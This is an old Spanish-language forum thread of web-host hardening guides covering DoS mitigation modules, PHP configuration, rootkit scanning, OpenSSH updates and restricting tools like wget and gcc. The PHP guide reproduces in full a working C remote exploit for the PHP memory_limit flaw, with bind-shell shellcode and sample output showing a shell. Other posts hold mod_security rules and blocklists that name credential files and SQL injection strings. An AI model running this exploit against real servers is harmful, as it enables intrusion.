Tema destacado: Únete al Grupo Steam elhacker.NET
Autor
|
Tema: [[Seguridad]] Guias de Proteccion para Host! (Leído 4,297 veces)
|
MG-StaT
Desconectado
Mensajes: 5
[[ADM-Team]]
|
Guia Nº 1 : Protegerse (Basicamente) de Ataques DoS/DDoS Hola a todos, podria decirse que soy nuevo eneste foro por mi cantidad de post, aunque yo ya los visitaba y colaboraba bajo otro Nick. En esta oportunidad intentare explicarles mediante guias algunas soluciones o mejor dicho algunas formas de prevenir ataques en sus Host. Comencemos . . . Ataques DoS/DDoS/DrDoS (Denial Of Service)Vamos a tener en cuenta alguna definiciones sobre ataques DoS, DDoS y el mas potente a mi criterio DRDoS : DoS: Un ataque de denegación de servicio, también llamado ataque DoS (Denial of Service), es un ataque a un sistema de ordenadores o red que causa una pérdida en el servicio a los usuarios. Normalmente provoca la pérdida de la conectividad de la red por el consumo del ancho de banda de la red de la víctima o sobrecarga de los recursos computacionales del sistema de la víctima. Se genera mediante la saturación de los puertos con flujo de información, haciendo que el servidor se sobrecargue y no pueda seguir prestando servicios, por eso se le dice "denegación", pues hace que el servidor no de abasto a la cantidad de usuarios. Y esta tecnica no es de Hackers, asi que no se confundan, este tipo de tecnica es de Crackers " " creo que la diferencia es clara, ya que usan este metodo para desactivar su objetivo. DDoS: El llamado DDoS (Distributed Denial of Service) es una ampliación del ataque DoS, se efectúa con la instalación de varios agentes remotos en muchas computadoras que pueden estar localizadas en diferentes puntos. El invasor consigue coordinar esos agentes para así, de forma masiva, amplificar el volumen del flood o saturación de información, pudiendo darse casos de un ataque de cientos o millares de computadoras dirigido a una máquina o red objetivo. Esta técnica se ha revelado como una de las más eficaces y sencillas a la hora de colapsar servidores, la tecnología distribuida ha ido sofisticándose hasta el punto de otorgar poder de causar daños serios a personas con escaso conocimiento técnico. Asi que bueno teniendo en cuenta el significado de un ataque de Denial of Service, creo que ya estamos en condiciones de intentar protegernos. Aunque creo que vale la pena destacar que lo que voy a explicarles es como protegerse basicamente, y evitar ataques menores echos por principiantes, ya que un ataque DoS es Infalible y no hay ningun sistema que pueda evitarlos o detenerlos, La unica salvacion de este tipo de ataques es tener una Conexion mucho mas grande que la del atacante. [/i] Bueno ahora si vamos a lo importante, yo voy a explicarles brevemente como instalar el MoD_Evasive , un sistema que intentara detener este tipo de ataques. Lo primero que haremos sera descargar el mod_evasive Descargar MODEVASIVE Una ves descargado, lo que haremos sera descomprimir el archivo y copiarlo en la siguiente ruta : /usr/local/directadmin/customapache/src/modules/dosevasive/mod_evasive.c Luego deveran realizar un BackUp del archivo httpd.conf , y luego de eso compilar el archivo instalado (mod_evasive --> ejecutar ./configure –add-module=src/modules/dosevasive/mod_evasive.c Luego Make Install - Reinicias tu Apache, y ahora modificaremos el httpd.conf poniendo la configuracion que sitare a continuacion : Gracias a el-brujo por la correccion!<IfModule mod_evasive.c> DOSHashTableSize 3097 DOSPageCount 5 DOSSiteCount 100 DOSPageInterval 2 DOSSiteInterval 2 DOSBlockingPeriod 600 </IfModule> mod_security [mod_evasive.c] SecFilterEngine On SecFilterDefaultAction “deny,log,status:403″ SecFilterScanPOST On SecFilterCheckURLEncoding On SecFilterCheckCookieFormat On SecFilterCheckUnicodeEncoding Off SecFilterForceByteRange 1 255 SecAuditEngine RelevantOnly SecAuditLog logs/modsec_audit_log SecFilterDebugLevel 0 SecFilterDebugLog logs/modsec_debug_log SecFilterSelective REQUEST_METHOD “!^GET$” chain SecFilterSelective HTTP_Content-Type “!(^$|^application/x-www-form-urlencoded$|^multipart/form-data)” SecFilterSelective REQUEST_METHOD “^POST$” chain SecFilterSelective HTTP_Content-Length “^$” SecFilterSelective HTTP_Transfer-Encoding “!^$” SecUploadDir /tmp SecUploadKeepFiles Off SecFilter “\.\./” SecFilter /etc/password SecFilter /etc/group SecFilter /etc/shadow SecFilter /bin/ls SecFilter “delete[:space:]+from” SecFilter “insert[:space:]+into” SecFilter “update[:space:]+set” SecFilter “select.+from” SecFilterSelective OUTPUT “Error Fatal:” deny,status:500 [/mod_evasive.c] sustituir [] por < > Luego lo guardan y vuelven a reiniciar su Servidor Apache, quiero recordarles que esto solo es un metodo para evitar ataques menores, ya que al menos bajo mi humilde conocimiento no existe solucion a este ataque mas que tener una muy mayor conexion a internet. Saludos, y en breve sigo Publicando mas sobre seguridad para Host. Atte: MG-StaT ®
|
|
|
|
« Última modificación: 1 Agosto 2006, 16:52 por MG-StaT »
|
En línea
|
Lo unico que puede ser 100% Seguro es uno mismo ! Pero eso tambien lleba Trabajo . . .
|
|
|
|
el-brujo
|
Creo que es mejor usar el apxs para instalar el mod_evasive cd /usr/local/src wget http://www.nuclearelephant.com/projects/mod_evasive/mod_evasive_1.10.1.tar.gz tar -zxf mod_evasive_1.10.1.tar.gz cd mod_evasive /etc/httpd/bin/apxs -cia mod_evasive.c Creo que te has equivocado y has puesto la configuración del mod_security y no la de mod_evasive  La del mod_evasive debería tener un aspecto así: <IfModule mod_evasive.c> DOSHashTableSize 3097 DOSPageCount 5 DOSSiteCount 100 DOSPageInterval 2 DOSSiteInterval 2 DOSBlockingPeriod 600 </IfModule>
|
|
|
|
|
En línea
|
"elhacker.net es único, por eso no fabrica para otras marcas" - Prohibido prohibir 
|
|
|
MG-StaT
Desconectado
Mensajes: 5
[[ADM-Team]]
|
Hola "el-brujo" gracis por avisarme, si tenes razon, la configuracion es la del Security, y no añadi la del evasive, pero ya lo corrijo, Muchas gracias. Guia Asegurar el PHP de Nuestro Host Bueno aqui seguimos con un poco mas de info, Lo que intentare en este momento es mostrarles posibles configuraciones de PHP para asegurar un poco mas nuestro Host, ya que una forma seria restringir los comandos que estamos dandole a nuestros usuarios quienes pueden darle un uso indevido. Lo primero que haremos es buscar nuestro php.ini $shell locate php.ini en cpanel y directadmin suele estar en /usr/local/lib/php.ini en otros tipos en /etc/php.ini ^^ Lo abrimos y lo editamos de la siguiente forma: $shell vi /usr/local/lib/php.ini
[color=Red][i](lean arriva para saber cual usar)[/i][/color]
$shell vi /etc/php.ini
buscamos en el archivo de configuración la variable “disabledfunctions”.; el comentario ; lo quitaremos y pondremos por ejemplo: disablefunctions = “system,exec,curl,” - de esta manera evitaremos que los usuarios puedan ejecutar comando innecesarios. pero claro esta que esto debe realizarse por el Administrador del Sistema quien este totalmente al tanto de la configuracion actual y necesaria. Otro bueno punto de seguridad del PHP es mantenerse actualizado, ya que se conocen varios tipos de ataque a PHP desactualizado y eso es un gran riesgo tanto para nosotros como para nuestros clientes, por lo cual es una buena invercion de tiempo mantenerse actualizado. Aqui les detallare un problema de las versiones de PHP y las nombrare: Uno de los mayores problemas por versiones desactualizadas de PHP podriamos decir que es el seguiente: PHP memory_limit (Permite la ejecucion de Codigo Remotamente) PHP PHP 5.0 candidate 3 PHP PHP 5.0 candidate 2 PHP PHP 5.0 candidate 1 PHP PHP 4.3.7 PHP PHP 4.3.6 PHP PHP 4.3.5 PHP PHP 4.3.3 PHP PHP 4.3.2 PHP PHP 4.3.1 PHP PHP 4.3 PHP PHP 4.2.3 PHP PHP 4.2.2 PHP PHP 4.2.1 PHP PHP 4.2 .0 PHP PHP 4.2 -dev PHP PHP 4.1.2 PHP PHP 4.1.1 PHP PHP 4.1 .0 PHP PHP 4.0.7 RC3 PHP PHP 4.0.7 RC2 PHP PHP 4.0.7 RC1 PHP PHP 4.0.7 PHP PHP 4.0.6 PHP PHP 4.0.5 PHP PHP 4.0.4 PHP PHP 4.0.3 pl1 PHP PHP 4.0.3 PHP PHP 4.0.2 PHP PHP 4.0.1 pl2 PHP PHP 4.0.1 pl1 PHP PHP 4.0.1 PHP PHP 4.0 0 PHP PHP 3.0.18 PHP PHP 3.0.17 . . . Y asi hasta Versiones aun mas inferiores . . . Esa es una vulnerabilidad bastante explotable, y bastante riesgosa, aqui les dejo el codigo malisicio que podria utilizarse para explotar esta vulnerabilidad /* Remote exploit for the php memory_limit vulnerability found * Esser in php 4 (<= 4.3.7) and php 5 (<= 5.0.0RC3). * * Vulnerability: * The issue is well documented in the advisory. * * Exploitation: * I cud not find a generic way to free a 40 byte chunk which could be later * used by ALLOC_HASHTABLE. The exploit will construct a fake zend hash table * which will be sent in the first request. The second request will kick in the * memory interuption after allocating space for the hashtable and before it is * initalized. The memory it will use for this allocation will contain the data * from our previous request which includes the pDestructor pointer pointing to * our nop+shellcode which is a part of the second request. This happens in the * zend_hash_destory function. * * PS - The exploit is ugly, coded to test the vuln. If anyone knows the trick * for 40 byte free() then plz drop me a mail. Tested on RH 8 php 4.3.7, * Apache 2.0.49 with register_globals = On * * Gyan * * */
#include <stdio.h> #include <string.h> #include <unistd.h>
#include <sys/socket.h> #include <sys/types.h> #include <netinet/in.h>
#define IP "127.0.0.1" #define PORT 80 int sock; struct sockaddr_in s;
char request1[]= "POST /info.php?a[1]=test HTTP/1.0" "Host: doesnotreallymatter\r\n" "User-Agent: mlxdebug\r\n" "Accept: text/html\r\n" "Connection: close\r\n" "Pragma: no-cache\r\n" "Cache-Control: no-cache\r\n" "Content-Type: multipart/form-data; boundary=------------ \r\n BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB \r\n";
char request2[]= "---------------264122487026375\r\n" "Content-Length: 472\r\n" "\r\n" "-----------------------------264122487026375\r\n" "Content-Disposition: form-data; name=\"a[][]\"\r\n" "\r\n" "TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n" "\r\n" "-----------------------------264122487026375--\r\n";
char request3[]= "POST /info.php?a[1]=test HTTP/1.0" "Host: doesnotreallymatter\r\n" "User-Agent: mlxdebug\r\n" "Accept: text/html\r\n" "Connection: close\r\n" "Pragma: no-cache\r\n" "Cache-Control: no-cache\r\n" "Content-Type: multipart/form-data; boundary=-------------";
char request4[]= "---------------264122487026375\r\n" "Content-Length: 472\r\n" "\r\n" "-----------------------------264122487026375\r\n" "Content-Disposition: form-data; name=\"a[][]\"\r\n" "\r\n" "TESTTESTTESTTESTTESTTESTTESTTESTTESTTES \r\n" "-----------------------------264122487026375--\r\n";
/*Ripped shellcode. Runs on port 36864*/ char shell[]= "\xeb\x72\x5e\x29\xc0\x89\x46\x10\x40\x89\xc3\x89\x46\x0c" "\x40\x89\x46\x08\x8d\x4e\x08\xb0\x66\xcd\x80\x43\xc6\x46" "\x10\x10\x66\x89\x5e\x14\x88\x46\x08\x29\xc0\x89\xc2\x89" "\x46\x18\xb0\x90\x66\x89\x46\x16\x8d\x4e\x14\x89\x4e\x0c" "\x8d\x4e\x08\xb0\x66\xcd\x80\x89\x5e\x0c\x43\x43\xb0\x66" "\xcd\x80\x89\x56\x0c\x89\x56\x10\xb0\x66\x43\xcd\x80\x86" "\xc3\xb0\x3f\x29\xc9\xcd\x80\xb0\x3f\x41\xcd\x80\xb0\x3f" "\x41\xcd\x80\x88\x56\x07\x89\x76\x0c\x87\xf3\x8d\x4b\x0c" "\xb0\x0b\xcd\x80\xe8\x89\xff\xff\xff/bin/sh";
void xp_connect(char *ip) { char buffer[1024]; char temp[1024]; int tmp;
s.sin_family = AF_INET; s.sin_port = htons(PORT); s.sin_addr.s_addr = inet_addr(ip);
if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("Cannot create socket\n"); exit(-1); }
if((connect(sock,(struct sockaddr *)&s,sizeof(struct sockaddr))) < 0) { printf("Cannot connect()\n"); exit(-1); } }
void xp_write(char *data) {
if(write (sock, data, strlen(data)) < 0) { printf("write() failed\n"); exit(-1); } }
void xp_receive() { int tmp; char buffer[1024*2]; if ( (tmp = read(sock, buffer, sizeof(buffer))) <= 0) { printf("read() failed\n"); exit(-1); } }
char fill[] = " \r\n %s \r\n ";
/*This function builds the main request. In destroy_uploaded_files_hash we * need to pass zend_hash_apply to reach zend_hash_destroy. * We set * 1) ht->nApplyCount to 0x02020202 to pass HASH_PROTECT_RECURSION * 2) p->pListNext = 0x00000000 to exit out of zend_hash_apply * 3) ht->pDestructor = addr to nop+shellcode * 0x402c22bc <zend_hash_destroy+184>: sub $0xc,%esp * 0x402c22bf <zend_hash_destroy+187>: pushl 0x8(%esi) * 0x402c22c2 <zend_hash_destroy+190>: call *%eax * 0x402c22c4 <zend_hash_destroy+192>: add $0x10,%esp * * $eax = ht->pDestructor */
void build1(int size, int count) { char *p1, *p2; char *b1, *b2; int i; int pot = 0xffffffff; int got = 0x41414141; int bot = 0x0818ef29; //0x0818ef78;//0x08189870; //0x402b6c08; int sot = 0x02020202; int ret = 0x081887a8;
b1 = (char *)malloc(size-8); p1 = b1;
for (i=0; i<size-8; i+=36) { *( (int **)p1 ) = (int *)( pot ); p1+=4; *( (int **)p1 ) = (int *)( got ); p1+=4; *( (int **)p1 ) = (int *)( bot ); p1+=4; *( (int **)p1 ) = (int *)( ret ); p1+=4; *( (int **)p1 ) = (int *)( bot ); p1+=4; *( (int **)p1 ) = (int *)( got ); p1+=4; *( (int **)p1 ) = (int *)( bot ); p1+=4; *( (int **)p1 ) = (int *)( sot ); p1+=4; }
b2 = (char *)malloc(size+1); p2 = b2;
sprintf(p2, fill, b1);
for(i=0; i<count; i++) xp_write(b2); }
/*Test function for resetting php memory , does not work properly with * php_normalize_heap function */ void build2(int size, int count) { char *p1, *p2; char *b1, *b2; int i; b1 = (char *)malloc(size-8); p1 = b1; memset(p1, '\x42', size-8); b2 = (char *)malloc(size+1); p2 = b2; sprintf(p2, fill, b1); for(i=0; i<count; i++) xp_write(b2); }
/*TODO*/ char *php_normalize_heap() { return; }
/*Builds our shellcode with NOP's and the mem interuption request*/
void build3(int size, int count) { char *p1, *p2; char *b1, *b2; int i; int pot = 0x90909090;
b1 = (char *)malloc(size-8); p1 = b1; for (i=0; i<size-8-strlen(shell); i+=4) { *( (int **)p1 ) = (int *)( pot ); p1+=4; } p1 = b1;
p1+= size - 8 - strlen(shell); strncpy(p1, shell, strlen(shell)); b2 = (char *)malloc(size+1); p2 = b2;
sprintf(p2, fill, b1);
for(i=0; i<count; i++) xp_write(b2); }
void exploit() {
int i; printf("Stage 1: Filling mem with bad pdestructor ... "); for (i=0; i< 5; i++) { xp_connect(IP); xp_write(request1); build1(5000, 1); xp_write(request2); close(sock); } printf("DONE\r\n"); printf("Stage 2: Triggering memory_limit now ... "); xp_connect(IP); xp_write(request3); build3(8192, 255); build3(7265, 1); xp_write(request4); printf("DONE\r\n"); printf("Shell on port 36864\r\n"); }
main() { /*No args, no vectors*/ exploit(); }
/* * Using [][][][] arry its possible to exhaust mem for 1.3.* servers and *trigger memlimit in _zval_copy_ctor after ALLOC_HASHTABLE * * [root@localhost stuff]# ./cool Stage 1: Filling mem with bad pdestructor ... DONE Stage 2: Triggering mem_limit now ... DONE Shell on port 36864 [root@localhost stuff]# telnet 127.0.0.1 36864 Trying 127.0.0.1... Connected to localhost.localdomain (127.0.0.1). Escape character is '^]'. id; uid=99(nobody) gid=4294967295 groups=4294967295 uname -a; Linux localhost.localdomain 2.4.18-14 #1 Wed Sep 4 13:35:50 EDT 2002 i686 i686 i386 GNU/Linux */ Bueno en este caso la solucion es actualizar su version de PHP, para evitar ese tipo de problemas, ya que si utilizan en su php.ini la opcion register_globals = On con una version desactualizada de PHP pueden ser victimas de ataques bastantes riesgosos. Aqui puden encontrar distintas soluciones a este problema, desde la web de SecurityFocus, con distintas soluciones para este problema: http://www.securityfocus.com/bid/10725/solution Continuara . . . Atte: MG-StaT ® PD: en breve pondre mas guias, espero sean de utilidad para alguien . . .
|
|
|
|
|
En línea
|
Lo unico que puede ser 100% Seguro es uno mismo ! Pero eso tambien lleba Trabajo . . .
|
|
|
MG-StaT
Desconectado
Mensajes: 5
[[ADM-Team]]
|
Guia Nº3 - Escanear nuestro Host y buscar vulnerabilidades ! Bueno honestamente este sistema no lo he testeado yo si no que un colega el cual me paso el dato, asi que lo comparto con ustedes como una alternativa. Sistema RkHunterRkHunter es una aplicacion muy completa con ella podremos escanear nuestro servidor en busca de fallos vulnerabilidades, si sus demonios o aplicaciones a nivel de servidor están actualizadas, comprobar cambios en el archivo etc passwd, y muchas mas cosas que nos podrá informar con un simple comando rkhunter -all.Descargar y descomprimir rkhunter.cd /usr/local/src/ wget http://downloads.rootkit.nl/rkhunter-1.2.7.tar.gz tar -zxf rkhunter-1.2.7.tar.gz cd rkhunter Instalamos el archivo: ./install.sh | Miramos si se llama install o installer Luego lo que haremos sera crear un nuevo cronjob para que nos envié los resultados del Scann al email de root: crontab -e
y añadimos la siguiente lineas al contrab: 10 0 * * * /usr/local/bin/rkhunter –update > /dev/null 2>&1 25 0 * * * /usr/local/bin/rkhunter -c –nocolors –cronjob –report-mode –createlogfile –skip-keypress –quiet
La primera linera hace referencia al escaneo del servidor. La segunda linea hace referencia el envió del resultado al email del root. Presionar CTRL+X para guardar el job y salir. Bueno hasta luego, en breve publicare mas info sobre Seguridad de Host. Atte: MG-StaT ®
|
|
|
|
|
En línea
|
Lo unico que puede ser 100% Seguro es uno mismo ! Pero eso tambien lleba Trabajo . . .
|
|
|
MG-StaT
Desconectado
Mensajes: 5
[[ADM-Team]]
|
Guia Parte Nº4 - Actualizar OpenSSH Bueno este es otro punto importante como dije mas arriva, una de las mejores inverciones que pueden hacer es la del tiempo, ya que actualizar su Host es un factor muy importante para ustedes y sus clientes/ y/o usuarios. Comencemos: shell sshd -v o sshd versionBajamos OpenSSH Portable haciendo CLICK AQUI con un wget lo descomprimimos y ejecutamos los siguientes comandos --> #shell ./configure –prefix=/usr –sysconfdir=/etc/ssh –with-pam shel lmake shell make install shell /etc/init.d/sshd restart Y listo ya esta actualizado, el ultimo comando Reinicia el servicio del mismo y lo restablece, por lo cual ya tenemos nuestro OpenSSH actualizado. Saludos. Atte: MG-StaT ®
|
|
|
|
|
En línea
|
Lo unico que puede ser 100% Seguro es uno mismo ! Pero eso tambien lleba Trabajo . . .
|
|
|
MG-StaT
Desconectado
Mensajes: 5
[[ADM-Team]]
|
Guia Parte Nº 5 - Restringir el uso de Software a Riesgo en nuestro Host Bueno aqui les dejo los comandos para evitar que los usuarios de nuestro host puedan utilizar software a risesgo dentro de nuestros servidores, Deberan ejecutar los siguientes comandos: NOTA: Este tipo de operaciones es necesario que sean realizadas por el Encargado del Sistema tras una verificacion de los comandos y funciones a ejecutar y/o activar/desactivar ya que puede afectar el funcionamiento de determindos servicios. Comandos a Ejecutar: chattr -i /usr/bin/gcc chattr -i /usr/bin/wget chattr -i /usr/bin/lynx chattr -i /usr/bin/cc chattr -i /usr/bin/w3m chmod 700 /usr/bin/gcc chmod 700 /usr/bin/wget chmod 700 /usr/bin/lynx chmod 700 /usr/bin/cc chmod 700 /usr/bin/w3m chmod 700 /usr/bin/who chmod 700 /usr/bin/pinky chmod 700 /usr/bin/finger chattr +i /usr/bin/gcc chattr +i /usr/bin/wget chattr +i /usr/bin/lynx chattr +i /usr/bin/cc chattr +i /usr/bin/w3c chattr +i /usr/bin/who chattr +i /usr/bin/pinky chattr +i /usr/bin/finger
Atte: MG-StaT ®
|
|
|
|
|
En línea
|
Lo unico que puede ser 100% Seguro es uno mismo ! Pero eso tambien lleba Trabajo . . .
|
|
|
|
el-brujo
|
Sobre la parte de "Asegurar el PHP de Nuestro Host". 4) Configuración avanzada PHP + Seguridad en PHPhttp://foro.elhacker.net/index.php/topic,251.0.htmlUna caracteristica muy importante, especialmente para hostings, es la posibilidad de no permitir algunas de las funciones de PHP. La razon es muy sencilla: algunas funciones de PHP como system, proc, etc hacen y permiten ejecutar comandos del sistema, lo que puede provocar problemas de seguridad. Por ejemplo, un usuario quizas quiera ejecutar un comando "no peligroso" como uptime, pero otro usuario mal intencionado puede utilizar otros comandos del sistema para extraer informacion comprometida de la maquina: como id, who, cat, etc. Hosting gratuitos como Lycos, iespana tienen capadas estas funciones por lo comentado arriba, es potencialmente peligroso. Para no permitir la ejecucion concreta de algunas funciones en PHP (no confundir con comandos) es con: disable_functions =exec,system,shell_exec,readfile Aunque las funciones en PHP son exec(), debemos ponerlo sin (). Por ejemplo en Mi Arroba: Warning: fsockopen, pfsockpen, show_source, php_uname, ini_alter, ini_restore, ini_set, getrusage, get_current_user, set_time_limit, getmyuid, getmypid, dl, leak, listen, chown, chmod, chgrp, realpath, tmpfile, link() has been disabled for security reasons. Más restrictivo: Funciones a deshabilitar: exec, system, shell_exec, readfile, passthru, escapeshellcmd, proc_open, posix_uname, posix_getuid, posix_geteuid, posix_getgid, getcwd Otra manera es hacer funcionar el php en safe_mode. Esto se indica en el php.ini y se activa con la opción: Safe_mode = ON o sea modo seguro. Muchos hostings gratuitos lo tienen activado por defecto. De esta manera varias funciones están desactivadas y muchas otras comprueban los permisos a la hora de leer ficheros, etc. http://www.zend.com/manual/features.safe-mode.functions.phpallow_url_fopen off --> para no dejar que se abran archivos remotos register_globals off --> desactivar las variables globales para que no se pueda permitir la inyección a variables que no están supuestos a modificar (muy importante). Otra manera intersante de progeter el php es con el magic_quotes_gpc: Copy/paste de http://vulnfact.com/papers/VF-php_secure.txt - Buscamos la directiva magic_quotes_gpc, que quizá este en Off, pues la activamos con On. Esto hace la adición automática del caracter de escape "" en variables tomadas de GET, POST y Cookies. magic_quotes_gpc = On ; magic quotes for incoming GET/POST/Cookie data - Para evitar que en lugar de enviar cadenas mal intencionadas, sean almacenadas en bases de datos o archivos de texto. Debemos activar magic_quotes_runtime. magic_quotes_runtime = Off ; magic quotes for runtime-generated data. Para mayor seguridad, podemos hacer que un vhost (virtual host) del apache no tenga php: #bastaría con añadir esta linea dentro del vhost del apache php_admin_flag engine ON O bien podemos deshabilitar el safe_mode en un vhost (dominio) php_admin_flag safe_mode Off Más info: http://es2.php.net/manual/en/configuration.changes.phpopen_basedir = none En el vhost del Apache: php_admin_value open_basedir /home/user/public_html De esta manera sólo dejamos abrir los ficheros que estén en ese directorio (para evitar problemas). De la misma manera deberíamos logear los errores del php pero no mostrarlos (evitaremos path disclosures, etc). Añadimos varias instrucciones en el vhost del apache: php_flag display_errors Off php_flag log_errors On php_value error_log "/home/uesr/logs/errorsphp" Por si todo esto falla y consiguen una shell: #le damos permisos sólo al root para este fichero chmod 700 /usr/bin/wget # modo invariable chattr +i /usr/bin/wget Lo mismo para los comandos: wget, curl, lynx, w3m, framebuffer, links2 (navegadores) y gcc, cc y demás compiladores o binarios que nos parezcan potencialmente peligrosos. Se podría decir que hasta ahí tenemos mas o menos asegurado PHP. ¿Fácil, no?.
|
|
|
|
|
En línea
|
"elhacker.net es único, por eso no fabrica para otras marcas" - Prohibido prohibir 
|
|
|
|
|